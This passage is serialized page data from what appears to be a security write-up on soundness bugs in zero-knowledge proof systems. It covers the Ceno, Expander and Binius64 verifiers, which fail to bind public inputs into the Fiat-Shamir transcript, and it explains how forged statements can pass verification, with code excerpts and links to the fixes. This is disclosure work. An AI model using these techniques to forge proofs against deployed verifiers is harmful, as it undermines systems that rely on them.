":119311},{"className":119310},[20149],[119312],{"type":26,"value":20152},{"type":20,"tag":315,"props":119314,"children":119316},{"className":119315},[2429],[119317],{"type":20,"tag":315,"props":119318,"children":119320},{"className":119319,"style":91388},[2434],[119321],{"type":20,"tag":315,"props":119322,"children":119323},{},[],{"type":20,"tag":315,"props":119325,"children":119327},{"className":119326,"style":2484},[2483],[],{"type":20,"tag":315,"props":119329,"children":119331},{"className":119330},[2489],[119332],{"type":26,"value":109567},{"type":20,"tag":315,"props":119334,"children":119336},{"className":119335,"style":2484},[2483],[],{"type":20,"tag":315,"props":119338,"children":119340},{"className":119339},[2392],[119341,119345,119402,119406,119411],{"type":20,"tag":315,"props":119342,"children":119344},{"className":119343,"style":118913},[2397],[],{"type":20,"tag":315,"props":119346,"children":119348},{"className":119347},[2403],[119349,119354],{"type":20,"tag":315,"props":119350,"children":119352},{"className":119351},[2403,19992],[119353],{"type":26,"value":17680},{"type":20,"tag":315,"props":119355,"children":119357},{"className":119356},[2419],[119358],{"type":20,"tag":315,"props":119359,"children":119361},{"className":119360},[2424,20046],[119362,119391],{"type":20,"tag":315,"props":119363,"children":119365},{"className":119364},[2429],[119366,119386],{"type":20,"tag":315,"props":119367,"children":119369},{"className":119368,"style":91357},[2434],[119370],{"type":20,"tag":315,"props":119371,"children":119372},{"style":91361},[119373,119377],{"type":20,"tag":315,"props":119374,"children":119376},{"className":119375,"style":2444},[2443],[],{"type":20,"tag":315,"props":119378,"children":119380},{"className":119379},[2449,2450,2451,2452],[119381],{"type":20,"tag":315,"props":119382,"children":119384},{"className":119383},[2403,2452],[119385],{"type":26,"value":2406},{"type":20,"tag":315,"props":119387,"children":119389},{"className":119388},[20149],[119390],{"type":26,"value":20152},{"type":20,"tag":315,"props":119392,"children":119394},{"className":119393},[2429],[119395],{"type":20,"tag":315,"props":119396,"children":119398},{"className":119397,"style":91388},[2434],[119399],{"type":20,"tag":315,"props":119400,"children":119401},{},[],{"type":20,"tag":315,"props":119403,"children":119405},{"className":119404,"style":2484},[2483],[],{"type":20,"tag":315,"props":119407,"children":119409},{"className":119408},[2489],[119410],{"type":26,"value":817},{"type":20,"tag":315,"props":119412,"children":119414},{"className":119413,"style":2484},[2483],[],{"type":20,"tag":315,"props":119416,"children":119418},{"className":119417},[2392],[119419,119423,119428,119432,119437],{"type":20,"tag":315,"props":119420,"children":119422},{"className":119421,"style":91220},[2397],[],{"type":20,"tag":315,"props":119424,"children":119426},{"className":119425},[2403,19992],[119427],{"type":26,"value":68820},{"type":20,"tag":315,"props":119429,"children":119431},{"className":119430,"style":2581},[2483],[],{"type":20,"tag":315,"props":119433,"children":119435},{"className":119434},[2586],[119436],{"type":26,"value":337},{"type":20,"tag":315,"props":119438,"children":119440},{"className":119439,"style":2581},[2483],[],{"type":20,"tag":315,"props":119442,"children":119444},{"className":119443},[2392],[119445,119449],{"type":20,"tag":315,"props":119446,"children":119448},{"className":119447,"style":92336},[2397],[],{"type":20,"tag":315,"props":119450,"children":119452},{"className":119451},[2403],[119453],{"type":26,"value":1063},{"type":20,"tag":29,"props":119455,"children":119456},{},[119457],{"type":26,"value":119458},"Substitution reduces this to a quadratic in one variable, which is solvable with the quadratic formula.",{"type":20,"tag":29,"props":119460,"children":119461},{},[119462,119466,119468,119475,119477,119484],{"type":20,"tag":3717,"props":119463,"children":119464},{},[119465],{"type":26,"value":115015},{"type":26,"value":119467}," Fixed on March 5, 2026 via ",{"type":20,"tag":35,"props":119469,"children":119472},{"href":119470,"rel":119471},"https://github.com/scroll-tech/ceno/pull/1262",[39],[119473],{"type":26,"value":119474},"PR #1262",{"type":26,"value":119476}," (original report: ",{"type":20,"tag":35,"props":119478,"children":119481},{"href":119479,"rel":119480},"https://github.com/scroll-tech/ceno/issues/1125",[39],[119482],{"type":26,"value":119483},"#1125",{"type":26,"value":1509},{"type":20,"tag":17197,"props":119486,"children":119487},{},[],{"type":20,"tag":219,"props":119489,"children":119491},{"id":119490},"expander-polyhedra",[119492],{"type":26,"value":119493},"Expander (Polyhedra)",{"type":20,"tag":29,"props":119495,"children":119496},{},[119497],{"type":26,"value":119498},"Expander is a GKR-based proof system for arithmetic circuits.",{"type":20,"tag":29,"props":119500,"children":119501},{},[119502],{"type":20,"tag":3717,"props":119503,"children":119504},{},[119505],{"type":26,"value":113721},{"type":20,"tag":305,"props":119507,"children":119509},{"code":119508},"Proof (raw bytes, parsed in order):\n - PCS commitment\n - Sumcheck round polynomials (for each layer)\n - Layer claims (claim_x, claim_y)\n - PCS opening proofs\n\nNOT in proof bytes (passed separately):\n - public_input // statement data passed separately\n - claimed_v // statement claim passed separately\n",[119510],{"type":20,"tag":119,"props":119511,"children":119512},{"__ignoreMap":7},[119513],{"type":26,"value":119508},{"type":20,"tag":29,"props":119515,"children":119516},{},[119517,119519,119525],{"type":26,"value":119518},"In Expander's circuit model, constant gates can reference public input values. During GKR verification, the ",{"type":20,"tag":119,"props":119520,"children":119522},{"className":119521},[],[119523],{"type":26,"value":119524},"eval_cst",{"type":26,"value":119526}," evaluates the contribution of these gates at the sumcheck challenge point:",{"type":20,"tag":305,"props":119528,"children":119530},{"code":119529,"language":1359,"meta":7,"className":1360,"style":7},"sum -= GKRVerifierHelper::eval_cst(&layer.const_, public_input, sp);\n",[119531],{"type":20,"tag":119,"props":119532,"children":119533},{"__ignoreMap":7},[119534],{"type":20,"tag":315,"props":119535,"children":119536},{"class":317,"line":318},[119537,119541,119546,119551,119555,119559,119563,119567,119572,119576,119581,119586,119590,119595],{"type":20,"tag":315,"props":119538,"children":119539},{"style":635},[119540],{"type":26,"value":74890},{"type":20,"tag":315,"props":119542,"children":119543},{"style":334},[119544],{"type":26,"value":119545}," -=",{"type":20,"tag":315,"props":119547,"children":119548},{"style":322},[119549],{"type":26,"value":119550}," GKRVerifierHelper",{"type":20,"tag":315,"props":119552,"children":119553},{"style":334},[119554],{"type":26,"value":1861},{"type":20,"tag":315,"props":119556,"children":119557},{"style":345},[119558],{"type":26,"value":119524},{"type":20,"tag":315,"props":119560,"children":119561},{"style":328},[119562],{"type":26,"value":1049},{"type":20,"tag":315,"props":119564,"children":119565},{"style":334},[119566],{"type":26,"value":1490},{"type":20,"tag":315,"props":119568,"children":119569},{"style":635},[119570],{"type":26,"value":119571},"layer",{"type":20,"tag":315,"props":119573,"children":119574},{"style":334},[119575],{"type":26,"value":61},{"type":20,"tag":315,"props":119577,"children":119578},{"style":328},[119579],{"type":26,"value":119580},"const_, ",{"type":20,"tag":315,"props":119582,"children":119583},{"style":635},[119584],{"type":26,"value":119585},"public_input",{"type":20,"tag":315,"props":119587,"children":119588},{"style":328},[119589],{"type":26,"value":44},{"type":20,"tag":315,"props":119591,"children":119592},{"style":635},[119593],{"type":26,"value":119594},"sp",{"type":20,"tag":315,"props":119596,"children":119597},{"style":328},[119598],{"type":26,"value":2214},{"type":20,"tag":29,"props":119600,"children":119601},{},[119602,119604,119609],{"type":26,"value":119603},"This evaluation is a linear combination of public input values, weighted by coefficients derived from the challenges stored in the verifier's scratch pad (",{"type":20,"tag":119,"props":119605,"children":119607},{"className":119606},[],[119608],{"type":26,"value":119594},{"type":26,"value":19146},{"type":20,"tag":29,"props":119611,"children":119612},{},[119613],{"type":20,"tag":3717,"props":119614,"children":119615},{},[119616],{"type":26,"value":119617},"The vulnerability:",{"type":20,"tag":29,"props":119619,"children":119620},{},[119621,119626],{"type":20,"tag":119,"props":119622,"children":119624},{"className":119623},[],[119625],{"type":26,"value":119585},{"type":26,"value":119627}," is never absorbed into the transcript. The transcript is initialized from the PCS commitment and sumcheck round messages, but public inputs are passed separately to the verifier.",{"type":20,"tag":29,"props":119629,"children":119630},{},[119631],{"type":20,"tag":2308,"props":119632,"children":119635},{"alt":119633,"src":119634},"9_expander","/posts/zkvms-unfaithful-claims/9_expander.svg",[],{"type":20,"tag":29,"props":119637,"children":119638},{},[119639,119640,119645],{"type":26,"value":15015},{"type":20,"tag":119,"props":119641,"children":119643},{"className":119642},[],[119644],{"type":26,"value":119524},{"type":26,"value":119646}," function computes a linear combination:",{"type":20,"tag":29,"props":119648,"children":119649},{},[119650],{"type":20,"tag":119,"props":119651,"children":119653},{"className":119652},[2375,2376],[119654],{"type":20,"tag":315,"props":119655,"children":119657},{"className":119656},[2381],[119658],{"type":20,"tag":315,"props":119659,"children":119661},{"className":119660,"ariaHidden":2387},[2386],[119662,119707,119831],{"type":20,"tag":315,"props":119663,"children":119665},{"className":119664},[2392],[119666,119670,119679,119684,119694,119698,119703],{"type":20,"tag":315,"props":119667,"children":119669},{"className":119668,"style":92718},[2397],[],{"type":20,"tag":315,"props":119671,"children":119673},{"className":119672},[2403,26],[119674],{"type":20,"tag":315,"props":119675,"children":119677},{"className":119676},[2403],[119678],{"type":26,"value":35964},{"type":20,"tag":315,"props":119680,"children":119682},{"className":119681,"style":91305},[2403],[119683],{"type":26,"value":1463},{"type":20,"tag":315,"props":119685,"children":119687},{"className":119686},[2403,26],[119688],{"type":20,"tag":315,"props":119689,"children":119691},{"className":119690},[2403],[119692],{"type":26,"value":119693},"cst",{"type":20,"tag":315,"props":119695,"children":119697},{"className":119696,"style":2581},[2483],[],{"type":20,"tag":315,"props":119699,"children":119701},{"className":119700},[2586],[119702],{"type":26,"value":337},{"type":20,"tag":315,"props":119704,"children":119706},{"className":119705,"style":2581},[2483],[],{"type":20,"tag":315,"props":119708,"children":119710},{"className":119709},[2392],[119711,119715,119772,119776,119803,119808,119813,119818,119822,119827],{"type":20,"tag":315,"props":119712,"children":119714},{"className":119713,"style":91247},[2397],[],{"type":20,"tag":315,"props":119716,"children":119718},{"className":119717},[20028],[119719,119724],{"type":20,"tag":315,"props":119720,"children":119722},{"className":119721,"style":20035},[20028,20033,20034],[119723],{"type":26,"value":107100},{"type":20,"tag":315,"props":119725,"children":119727},{"className":119726},[2419],[119728],{"type":20,"tag":315,"props":119729,"children":119731},{"className":119730},[2424,20046],[119732,119761],{"type":20,"tag":315,"props":119733,"children":119735},{"className":119734},[2429],[119736,119756],{"type":20,"tag":315,"props":119737,"children":119739},{"className":119738,"style":112512},[2434],[119740],{"type":20,"tag":315,"props":119741,"children":119742},{"style":20059},[119743,119747],{"type":20,"tag":315,"props":119744,"children":119746},{"className":119745,"style":2444},[2443],[],{"type":20,"tag":315,"props":119748,"children":119750},{"className":119749},[2449,2450,2451,2452],[119751],{"type":20,"tag":315,"props":119752,"children":119754},{"className":119753},[2403,19992,2452],[119755],{"type":26,"value":2122},{"type":20,"tag":315,"props":119757,"children":119759},{"className":119758},[20149],[119760],{"type":26,"value":20152},{"type":20,"tag":315,"props":119762,"children":119764},{"className":119763},[2429],[119765],{"type":20,"tag":315,"props":119766,"children":119768},{"className":119767,"style":112792},[2434],[119769],{"type":20,"tag":315,"props":119770,"children":119771},{},[],{"type":20,"tag":315,"props":119773,"children":119775},{"className":119774,"style":2522},[2483],[],{"type":20,"tag":315,"props":119777,"children":119779},{"className":119778},[2403],[119780,119789,119794],{"type":20,"tag":315,"props":119781,"children":119783},{"className":119782},[2403,26],[119784],{"type":20,"tag":315,"props":119785,"children":119787},{"className":119786},[2403],[119788],{"type":26,"value":59929},{"type":20,"tag":315,"props":119790,"children":119792},{"className":119791,"style":91305},[2403],[119793],{"type":26,"value":1463},{"type":20,"tag":315,"props":119795,"children":119797},{"className":119796},[2403,26],[119798],{"type":20,"tag":315,"props":119799,"children":119801},{"className":119800},[2403],[119802],{"type":26,"value":6763},{"type":20,"tag":315,"props":119804,"children":119806},{"className":119805},[20121],[119807],{"type":26,"value":2117},{"type":20,"tag":315,"props":119809,"children":119811},{"className":119810},[2403,19992],[119812],{"type":26,"value":2122},{"type":20,"tag":315,"props":119814,"children":119816},{"className":119815},[20143],[119817],{"type":26,"value":13812},{"type":20,"tag":315,"props":119819,"children":119821},{"className":119820,"style":2484},[2483],[],{"type":20,"tag":315,"props":119823,"children":119825},{"className":119824},[2489],[119826],{"type":26,"value":109567},{"type":20,"tag":315,"props":119828,"children":119830},{"className":119829,"style":2484},[2483],[],{"type":20,"tag":315,"props":119832,"children":119834},{"className":119833},[2392],[119835,119839,119848,119853,119858,119863,119867,119916],{"type":20,"tag":315,"props":119836,"children":119838},{"className":119837,"style":2504},[2397],[],{"type":20,"tag":315,"props":119840,"children":119842},{"className":119841},[2403,26],[119843],{"type":20,"tag":315,"props":119844,"children":119846},{"className":119845},[2403],[119847],{"type":26,"value":110894},{"type":20,"tag":315,"props":119849,"children":119851},{"className":119850},[20121],[119852],{"type":26,"value":1049},{"type":20,"tag":315,"props":119854,"children":119856},{"className":119855},[2403,19992],[119857],{"type":26,"value":2122},{"type":20,"tag":315,"props":119859,"children":119861},{"className":119860},[2515],[119862],{"type":26,"value":2518},{"type":20,"tag":315,"props":119864,"children":119866},{"className":119865,"style":2522},[2483],[],{"type":20,"tag":315,"props":119868,"children":119870},{"className":119869},[2403,110454],[119871],{"type":20,"tag":315,"props":119872,"children":119874},{"className":119873},[2424],[119875],{"type":20,"tag":315,"props":119876,"children":119878},{"className":119877},[2429],[119879],{"type":20,"tag":315,"props":119880,"children":119882},{"className":119881,"style":110540},[2434],[119883,119895],{"type":20,"tag":315,"props":119884,"children":119885},{"style":110471},[119886,119890],{"type":20,"tag":315,"props":119887,"children":119889},{"className":119888,"style":110476},[2443],[],{"type":20,"tag":315,"props":119891,"children":119893},{"className":119892,"style":91305},[2403,19992],[119894],{"type":26,"value":92124},{"type":20,"tag":315,"props":119896,"children":119897},{"style":110471},[119898,119902],{"type":20,"tag":315,"props":119899,"children":119901},{"className":119900,"style":110476},[2443],[],{"type":20,"tag":315,"props":119903,"children":119905},{"className":119904,"style":110564},[110494],[119906],{"type":20,"tag":315,"props":119907,"children":119909},{"className":119908,"style":110570},[110569],[119910],{"type":20,"tag":32688,"props":119911,"children":119912},{"xmlns":110574,"width":110575,"height":110576,"style":110577,"viewBox":110578,"preserveAspectRatio":110579},[119913],{"type":20,"tag":110582,"props":119914,"children":119915},{"d":110584},[],{"type":20,"tag":315,"props":119917,"children":119919},{"className":119918},[20143],[119920],{"type":26,"value":1509},{"type":20,"tag":29,"props":119922,"children":119923},{},[119924,119925,119994,119996,120001,120003,120008],{"type":26,"value":114141},{"type":20,"tag":119,"props":119926,"children":119928},{"className":119927},[2375,2376],[119929],{"type":20,"tag":315,"props":119930,"children":119932},{"className":119931},[2381],[119933],{"type":20,"tag":315,"props":119934,"children":119936},{"className":119935,"ariaHidden":2387},[2386],[119937],{"type":20,"tag":315,"props":119938,"children":119940},{"className":119939},[2392],[119941,119945],{"type":20,"tag":315,"props":119942,"children":119944},{"className":119943,"style":110540},[2397],[],{"type":20,"tag":315,"props":119946,"children":119948},{"className":119947},[2403,110454],[119949],{"type":20,"tag":315,"props":119950,"children":119952},{"className":119951},[2424],[119953],{"type":20,"tag":315,"props":119954,"children":119956},{"className":119955},[2429],[119957],{"type":20,"tag":315,"props":119958,"children":119960},{"className":119959,"style":110540},[2434],[119961,119973],{"type":20,"tag":315,"props":119962,"children":119963},{"style":110471},[119964,119968],{"type":20,"tag":315,"props":119965,"children":119967},{"className":119966,"style":110476},[2443],[],{"type":20,"tag":315,"props":119969,"children":119971},{"className":119970,"style":91305},[2403,19992],[119972],{"type":26,"value":92124},{"type":20,"tag":315,"props":119974,"children":119975},{"style":110471},[119976,119980],{"type":20,"tag":315,"props":119977,"children":119979},{"className":119978,"style":110476},[2443],[],{"type":20,"tag":315,"props":119981,"children":119983},{"className":119982,"style":110564},[110494],[119984],{"type":20,"tag":315,"props":119985,"children":119987},{"className":119986,"style":110570},[110569],[119988],{"type":20,"tag":32688,"props":119989,"children":119990},{"xmlns":110574,"width":110575,"height":110576,"style":110577,"viewBox":110578,"preserveAspectRatio":110579},[119991],{"type":20,"tag":110582,"props":119992,"children":119993},{"d":110584},[],{"type":26,"value":119995}," contains the challenges. Since challenges are derived before the statement data is bound, they are independent of ",{"type":20,"tag":119,"props":119997,"children":119999},{"className":119998},[],[120000],{"type":26,"value":119585},{"type":26,"value":120002},". This lets an attacker choose an arbitrary false statement (e.g., a forged output) and then solve the induced linear constraints for a modified ",{"type":20,"tag":119,"props":120004,"children":120006},{"className":120005},[],[120007],{"type":26,"value":119585},{"type":26,"value":120009}," that makes the verifier's check pass.",{"type":20,"tag":29,"props":120011,"children":120012},{},[120013,120017,120019,120026,120027,120030,120037],{"type":20,"tag":3717,"props":120014,"children":120015},{},[120016],{"type":26,"value":115015},{"type":26,"value":120018}," Fixed on 21st January 2026 via ",{"type":20,"tag":35,"props":120020,"children":120023},{"href":120021,"rel":120022},"https://github.com/PolyhedraZK/Expander/commit/4a8c2be03535194c1f6b48a93ad2f5480649f7c2",[39],[120024],{"type":26,"value":120025},"commit 4a8c2be",{"type":26,"value":4852},{"type":20,"tag":29384,"props":120028,"children":120029},{},[],{"type":20,"tag":35,"props":120031,"children":120034},{"href":120032,"rel":120033},"https://blog.polyhedra.network/expander-bug-bounty/",[39],[120035],{"type":26,"value":120036},"Claimed 500k Bug bounty",{"type":26,"value":120038}," award pending",{"type":20,"tag":17197,"props":120040,"children":120041},{},[],{"type":20,"tag":219,"props":120043,"children":120045},{"id":120044},"binius64",[120046],{"type":26,"value":106148},{"type":20,"tag":29,"props":120048,"children":120049},{},[120050,120052,120179],{"type":26,"value":120051},"Binius64 is a proof system optimized for binary fields, designed to be efficient on 64-bit CPUs. Binius uses ",{"type":20,"tag":119,"props":120053,"children":120055},{"className":120054},[2375,2376],[120056],{"type":20,"tag":315,"props":120057,"children":120059},{"className":120058},[2381],[120060],{"type":20,"tag":315,"props":120061,"children":120063},{"className":120062,"ariaHidden":2387},[2386],[120064],{"type":20,"tag":315,"props":120065,"children":120067},{"className":120066},[2392],[120068,120073],{"type":20,"tag":315,"props":120069,"children":120072},{"className":120070,"style":120071},[2397],"height:0.8665em;vertical-align:-0.1776em;",[],{"type":20,"tag":315,"props":120074,"children":120076},{"className":120075},[2403],[120077,120084],{"type":20,"tag":315,"props":120078,"children":120081},{"className":120079},[2403,120080],"mathbb",[120082],{"type":26,"value":120083},"F",{"type":20,"tag":315,"props":120085,"children":120087},{"className":120086},[2419],[120088],{"type":20,"tag":315,"props":120089,"children":120091},{"className":120090},[2424,20046],[120092,120167],{"type":20,"tag":315,"props":120093,"children":120095},{"className":120094},[2429],[120096,120162],{"type":20,"tag":315,"props":120097,"children":120099},{"className":120098,"style":110637},[2434],[120100],{"type":20,"tag":315,"props":120101,"children":120103},{"style":120102},"top:-2.5224em;margin-left:0em;margin-right:0.05em;",[120104,120108],{"type":20,"tag":315,"props":120105,"children":120107},{"className":120106,"style":2444},[2443],[],{"type":20,"tag":315,"props":120109,"children":120111},{"className":120110},[2449,2450,2451,2452],[120112],{"type":20,"tag":315,"props":120113,"children":120115},{"className":120114},[2403,2452],[120116],{"type":20,"tag":315,"props":120117,"children":120119},{"className":120118},[2403,2452],[120120,120125],{"type":20,"tag":315,"props":120121,"children":120123},{"className":120122},[2403,2452],[120124],{"type":26,"value":1504},{"type":20,"tag":315,"props":120126,"children":120128},{"className":120127},[2419],[120129],{"type":20,"tag":315,"props":120130,"children":120132},{"className":120131},[2424],[120133],{"type":20,"tag":315,"props":120134,"children":120136},{"className":120135},[2429],[120137],{"type":20,"tag":315,"props":120138,"children":120141},{"className":120139,"style":120140},[2434],"height:0.7463em;",[120142],{"type":20,"tag":315,"props":120143,"children":120144},{"style":110762},[120145,120149],{"type":20,"tag":315,"props":120146,"children":120148},{"className":120147,"style":107165},[2443],[],{"type":20,"tag":315,"props":120150,"children":120152},{"className":120151},[2449,107170,107171,2452],[120153],{"type":20,"tag":315,"props":120154,"children":120156},{"className":120155},[2403,2452],[120157],{"type":20,"tag":315,"props":120158,"children":120160},{"className":120159},[2403,2452],[120161],{"type":26,"value":28262},{"type":20,"tag":315,"props":120163,"children":120165},{"className":120164},[20149],[120166],{"type":26,"value":20152},{"type":20,"tag":315,"props":120168,"children":120170},{"className":120169},[2429],[120171],{"type":20,"tag":315,"props":120172,"children":120175},{"className":120173,"style":120174},[2434],"height:0.1776em;",[120176],{"type":20,"tag":315,"props":120177,"children":120178},{},[],{"type":26,"value":120180}," (or variants thereof), where addition is XOR. This makes certain operations very fast.",{"type":20,"tag":29,"props":120182,"children":120183},{},[120184,120186,120191],{"type":26,"value":120185},"One of Binius's key features is its specialized protocols for bitwise operations. The ",{"type":20,"tag":3717,"props":120187,"children":120188},{},[120189],{"type":26,"value":120190},"Shift Protocol",{"type":26,"value":120192}," efficiently handles bit-shifts and rotations (essential for hash functions like SHA-256) without the massive overhead typical in other proof systems.",{"type":20,"tag":29,"props":120194,"children":120195},{},[120196],{"type":20,"tag":3717,"props":120197,"children":120198},{},[120199],{"type":26,"value":119617},{"type":20,"tag":29,"props":120201,"children":120202},{},[120203],{"type":26,"value":120204},"The verifier receives the public witness (program inputs/outputs) as a separate parameter:",{"type":20,"tag":305,"props":120206,"children":120208},{"code":120207,"language":1359,"meta":7,"className":1360,"style":7},"pub fn verify\u003CF, C>(\n constraint_system: &ConstraintSystem,\n public: &[Word], // \u003C- NEVER ABSORBED\n // ...\n) -> Result\u003CVerifyOutput\u003CF>, Error>\n",[120209],{"type":20,"tag":119,"props":120210,"children":120211},{"__ignoreMap":7},[120212,120247,120272,120306,120314],{"type":20,"tag":315,"props":120213,"children":120214},{"class":317,"line":318},[120215,120219,120223,120227,120231,120235,120239,120243],{"type":20,"tag":315,"props":120216,"children":120217},{"style":541},[120218],{"type":26,"value":12091},{"type":20,"tag":315,"props":120220,"children":120221},{"style":541},[120222],{"type":26,"value":12096},{"type":20,"tag":315,"props":120224,"children":120225},{"style":345},[120226],{"type":26,"value":6562},{"type":20,"tag":315,"props":120228,"children":120229},{"style":328},[120230],{"type":26,"value":4199},{"type":20,"tag":315,"props":120232,"children":120233},{"style":322},[120234],{"type":26,"value":120083},{"type":20,"tag":315,"props":120236,"children":120237},{"style":328},[120238],{"type":26,"value":44},{"type":20,"tag":315,"props":120240,"children":120241},{"style":322},[120242],{"type":26,"value":114534},{"type":20,"tag":315,"props":120244,"children":120245},{"style":328},[120246],{"type":26,"value":4983},{"type":20,"tag":315,"props":120248,"children":120249},{"class":317,"line":356},[120250,120255,120259,120263,120268],{"type":20,"tag":315,"props":120251,"children":120252},{"style":635},[120253],{"type":26,"value":120254}," constraint_system",{"type":20,"tag":315,"props":120256,"children":120257},{"style":334},[120258],{"type":26,"value":2884},{"type":20,"tag":315,"props":120260,"children":120261},{"style":334},[120262],{"type":26,"value":5536},{"type":20,"tag":315,"props":120264,"children":120265},{"style":322},[120266],{"type":26,"value":120267},"ConstraintSystem",{"type":20,"tag":315,"props":120269,"children":120270},{"style":328},[120271],{"type":26,"value":643},{"type":20,"tag":315,"props":120273,"children":120274},{"class":317,"line":365},[120275,120279,120283,120287,120291,120296,120301],{"type":20,"tag":315,"props":120276,"children":120277},{"style":635},[120278],{"type":26,"value":5917},{"type":20,"tag":315,"props":120280,"children":120281},{"style":334},[120282],{"type":26,"value":2884},{"type":20,"tag":315,"props":120284,"children":120285},{"style":334},[120286],{"type":26,"value":5536},{"type":20,"tag":315,"props":120288,"children":120289},{"style":328},[120290],{"type":26,"value":2117},{"type":20,"tag":315,"props":120292,"children":120293},{"style":322},[120294],{"type":26,"value":120295},"Word",{"type":20,"tag":315,"props":120297,"children":120298},{"style":328},[120299],{"type":26,"value":120300},"], ",{"type":20,"tag":315,"props":120302,"children":120303},{"style":1071},[120304],{"type":26,"value":120305},"// \u003C- NEVER ABSORBED\n",{"type":20,"tag":315,"props":120307,"children":120308},{"class":317,"line":374},[120309],{"type":20,"tag":315,"props":120310,"children":120311},{"style":1071},[120312],{"type":26,"value":120313}," // ...\n",{"type":20,"tag":315,"props":120315,"children":120316},{"class":317,"line":383},[120317,120321,120325,120329,120333,120338,120342,120346,120350,120354],{"type":20,"tag":315,"props":120318,"children":120319},{"style":328},[120320],{"type":26,"value":1468},{"type":20,"tag":315,"props":120322,"children":120323},{"style":334},[120324],{"type":26,"value":12158},{"type":20,"tag":315,"props":120326,"children":120327},{"style":322},[120328],{"type":26,"value":12163},{"type":20,"tag":315,"props":120330,"children":120331},{"style":328},[120332],{"type":26,"value":4199},{"type":20,"tag":315,"props":120334,"children":120335},{"style":322},[120336],{"type":26,"value":120337},"VerifyOutput",{"type":20,"tag":315,"props":120339,"children":120340},{"style":328},[120341],{"type":26,"value":4199},{"type":20,"tag":315,"props":120343,"children":120344},{"style":322},[120345],{"type":26,"value":120083},{"type":20,"tag":315,"props":120347,"children":120348},{"style":328},[120349],{"type":26,"value":5025},{"type":20,"tag":315,"props":120351,"children":120352},{"style":322},[120353],{"type":26,"value":35814},{"type":20,"tag":315,"props":120355,"children":120356},{"style":328},[120357],{"type":26,"value":4386},{"type":20,"tag":29,"props":120359,"children":120360},{},[120361,120363,120369,120370,120376,120378,120382],{"type":26,"value":120362},"In the shift protocol, challenges ",{"type":20,"tag":119,"props":120364,"children":120366},{"className":120365},[],[120367],{"type":26,"value":120368},"r_j",{"type":26,"value":9392},{"type":20,"tag":119,"props":120371,"children":120373},{"className":120372},[],[120374],{"type":26,"value":120375},"inout_eval_point",{"type":26,"value":120377}," are sampled ",{"type":20,"tag":3717,"props":120379,"children":120380},{},[120381],{"type":26,"value":102849},{"type":26,"value":120383}," the public witness is bound.",{"type":20,"tag":29,"props":120385,"children":120386},{},[120387],{"type":20,"tag":3717,"props":120388,"children":120389},{},[120390],{"type":26,"value":113737},{"type":20,"tag":29,"props":120392,"children":120393},{},[120394],{"type":20,"tag":2308,"props":120395,"children":120398},{"alt":120396,"src":120397},"10_binius","/posts/zkvms-unfaithful-claims/10_binius.svg",[],{"type":20,"tag":29,"props":120400,"children":120401},{},[120402],{"type":26,"value":120403},"During verification",{"type":20,"tag":68,"props":120405,"children":120406},{},[120407,120427,120439,120458],{"type":20,"tag":72,"props":120408,"children":120409},{},[120410,120412,120417,120419,120425],{"type":26,"value":120411},"Sumcheck produces challenge points ",{"type":20,"tag":119,"props":120413,"children":120415},{"className":120414},[],[120416],{"type":26,"value":120368},{"type":26,"value":120418}," (bit indices) and ",{"type":20,"tag":119,"props":120420,"children":120422},{"className":120421},[],[120423],{"type":26,"value":120424},"r_s",{"type":26,"value":120426}," (shift indices)",{"type":20,"tag":72,"props":120428,"children":120429},{},[120430,120432,120437],{"type":26,"value":120431},"Verifier samples ",{"type":20,"tag":119,"props":120433,"children":120435},{"className":120434},[],[120436],{"type":26,"value":120375},{"type":26,"value":120438}," from transcript",{"type":20,"tag":72,"props":120440,"children":120441},{},[120442,120444,120450,120452,120457],{"type":26,"value":120443},"Verifier computes ",{"type":20,"tag":119,"props":120445,"children":120447},{"className":120446},[],[120448],{"type":26,"value":120449},"public_eval = MLE(public, r_j, inout_eval_point)",{"type":26,"value":120451}," using the unbound ",{"type":20,"tag":119,"props":120453,"children":120455},{"className":120454},[],[120456],{"type":26,"value":59929},{"type":26,"value":16536},{"type":20,"tag":72,"props":120459,"children":120460},{},[120461,120462,120468],{"type":26,"value":15015},{"type":20,"tag":119,"props":120463,"children":120465},{"className":120464},[],[120466],{"type":26,"value":120467},"public_eval",{"type":26,"value":120469}," feeds into subsequent verification equations",{"type":20,"tag":29,"props":120471,"children":120472},{},[120473],{"type":26,"value":120474},"The MLE evaluation is linear in the public witness bits:",{"type":20,"tag":29,"props":120476,"children":120477},{},[120478],{"type":20,"tag":119,"props":120479,"children":120481},{"className":120480},[2375,2376],[120482],{"type":20,"tag":315,"props":120483,"children":120485},{"className":120484},[2381],[120486],{"type":20,"tag":315,"props":120487,"children":120489},{"className":120488,"ariaHidden":2387},[2386],[120490,120534,120674,120786],{"type":20,"tag":315,"props":120491,"children":120493},{"className":120492},[2392],[120494,120498,120507,120512,120521,120525,120530],{"type":20,"tag":315,"props":120495,"children":120497},{"className":120496,"style":92718},[2397],[],{"type":20,"tag":315,"props":120499,"children":120501},{"className":120500},[2403,26],[120502],{"type":20,"tag":315,"props":120503,"children":120505},{"className":120504},[2403],[120506],{"type":26,"value":59929},{"type":20,"tag":315,"props":120508,"children":120510},{"className":120509,"style":91305},[2403],[120511],{"type":26,"value":1463},{"type":20,"tag":315,"props":120513,"children":120515},{"className":120514},[2403,26],[120516],{"type":20,"tag":315,"props":120517,"children":120519},{"className":120518},[2403],[120520],{"type":26,"value":35964},{"type":20,"tag":315,"props":120522,"children":120524},{"className":120523,"style":2581},[2483],[],{"type":20,"tag":315,"props":120526,"children":120528},{"className":120527},[2586],[120529],{"type":26,"value":337},{"type":20,"tag":315,"props":120531,"children":120533},{"className":120532,"style":2581},[2483],[],{"type":20,"tag":315,"props":120535,"children":120537},{"className":120536},[2392],[120538,120542,120614,120618,120631,120636,120641,120646,120651,120656,120661,120665,120670],{"type":20,"tag":315,"props":120539,"children":120541},{"className":120540,"style":117067},[2397],[],{"type":20,"tag":315,"props":120543,"children":120545},{"className":120544},[20028],[120546,120551],{"type":20,"tag":315,"props":120547,"children":120549},{"className":120548,"style":20035},[20028,20033,20034],[120550],{"type":26,"value":107100},{"type":20,"tag":315,"props":120552,"children":120554},{"className":120553},[2419],[120555],{"type":20,"tag":315,"props":120556,"children":120558},{"className":120557},[2424,20046],[120559,120603],{"type":20,"tag":315,"props":120560,"children":120562},{"className":120561},[2429],[120563,120598],{"type":20,"tag":315,"props":120564,"children":120566},{"className":120565,"style":111977},[2434],[120567],{"type":20,"tag":315,"props":120568,"children":120569},{"style":20059},[120570,120574],{"type":20,"tag":315,"props":120571,"children":120573},{"className":120572,"style":2444},[2443],[],{"type":20,"tag":315,"props":120575,"children":120577},{"className":120576},[2449,2450,2451,2452],[120578],{"type":20,"tag":315,"props":120579,"children":120581},{"className":120580},